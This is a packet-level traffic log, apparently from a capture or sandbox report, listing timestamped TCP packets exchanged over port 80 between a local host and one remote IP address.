Oct 30, 2024 08:14:19.334476948 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.334495068 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.334506035 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.334517002 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.334517002 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.334522963 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.334528923 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.334533930 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.334538937 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.334551096 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.334578037 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.334686041 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.334686041 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.334829092 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.334872961 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.334887028 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.334897995 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.334908009 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.334939003 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.334958076 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.491017103 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.491080999 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.491091013 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.491162062 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.491173983 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.491189003 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.491189003 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.491221905 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.491754055 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.491805077 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.491815090 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.491856098 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.491908073 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.491918087 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.491926908 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.491933107 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.491947889 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.491962910 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.492432117 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.492479086 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.492490053 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.492532015 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.492544889 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.492567062 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.492580891 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.492592096 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.492614031 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.492738962 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.493263960 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.493313074 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.493334055 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.493344069 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.493371964 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.493371964 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.493382931 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.493408918 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.493443012 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.493475914 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.493781090 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.493827105 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.493839979 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.493849993 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.493879080 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.493935108 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.493944883 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.493953943 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.493978977 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.493990898 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.494817972 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.494865894 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.494883060 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.494894981 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.494961023 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.494980097 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.494991064 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.495023012 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.495280981 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.495325089 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.495333910 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.495345116 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.495378017 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.495390892 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.495429039 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.495475054 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.495486975 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.495496988 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.495506048 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.495517969 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.495532990 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.495559931 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.496176004 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.496220112 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.496221066 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.496229887 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.496262074 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.496536016 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.496587038 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.496589899 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.496599913 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.496630907 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.496670961 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.496680021 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.496690989 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.496702909 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.496716976 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.497234106 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.497273922 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.497279882 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.497284889 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.497317076 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.497699976 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.497724056 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.497744083 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.497756004 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.497884035 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.497936010 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.497941017 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.497951984 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.497976065 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.497986078 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.497996092 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.498012066 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.498363018 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.498409033 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.498575926 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.498584986 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.498589993 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.498599052 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.498625040 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.498637915 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.498676062 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.498703957 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.498711109 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.498738050 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.499684095 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.499731064 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.499731064 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.499739885 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.499771118 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.499804020 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.499814034 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.499823093 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.499840021 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.499855042 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.500196934 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.500228882 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.500237942 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.500242949 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.500261068 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.500273943 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.500304937 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.500314951 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.500340939 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.500358105 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.500365973 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.500370979 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.500396013 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.500519991 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.500530005 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.500540972 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.500562906 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.500606060 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.500607967 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.500643015 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.500837088 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.500880003 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.500883102 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.500891924 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.500922918 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.500941038 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.500951052 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.500961065 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.500977993 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.500991106 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.501044989 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.501085043 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.501087904 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.501096964 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.501121044 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.501626968 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.501672029 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.501683950 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.501693964 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.501719952 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.501732111 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.501801014 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.501811028 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.501821995 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.501831055 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.501841068 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.501844883 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.501852036 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.501864910 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.501878977 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.501919031 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.501929045 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.501961946 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.502820015 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.502863884 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.502873898 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.502882957 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.502908945 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.502949953 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.502959967 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.502969980 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.502980947 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.502995968 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.503010035 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.503047943 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.503082037 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.503087044 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.503091097 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.503112078 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.503237009 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.503283024 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.503300905 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.503310919 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.503334999 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.503392935 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.503402948 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.503412008 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.503423929 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.503433943 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.503448963 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.503460884 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.503485918 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.503518105 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.503520966 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.503529072 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.503554106 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.504200935 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.504245996 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.504246950 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.504256010 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.504287004 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.504362106 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.504373074 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.504378080 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.504384041 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.504426003 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.504499912 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.504508972 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.504538059 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.504539967 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.504570007 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.504573107 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.504584074 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.504592896 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.504610062 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.504626036 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.504720926 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.504730940 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.504740000 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.504766941 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.504779100 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.504904032 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.504949093 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.504951000 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.504961014 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.504988909 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.505009890 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.505053043 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.505315065 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.505371094 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.505381107 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.505415916 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.505485058 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.505485058 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.505485058 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.505485058 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.505536079 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.505584002 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.505584002 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.505594015 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.505625963 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.505634069 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.505650997 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.505660057 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.505686045 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.505693913 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.506551027 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.506602049 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.506603956 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.506613970 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.506649971 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.506654978 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.506660938 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.506670952 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.506695032 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.506702900 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.506750107 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.506794930 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.506804943 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.506814003 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.506828070 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.506855965 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.506863117 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.506978035 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.507025957 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.507034063 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.507044077 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.507075071 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.507297039 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.507304907 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.507309914 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.507337093 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.507344007 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.507348061 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.507380962 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.507402897 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.507431984 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.507436037 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.507441044 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.507466078 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.507478952 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.507513046 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.507523060 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.507554054 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.507581949 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.507592916 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.507616997 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.507630110 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.507669926 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.507679939 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.507688999 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.507703066 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.507709026 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.507723093 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.507735968 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.507899046 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.507939100 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.507944107 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.507949114 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.507981062 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.508025885 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.508035898 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.508044958 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.508054972 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.508068085 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.508081913 CET	49165	80	192.168.2.22	87.120.84.38
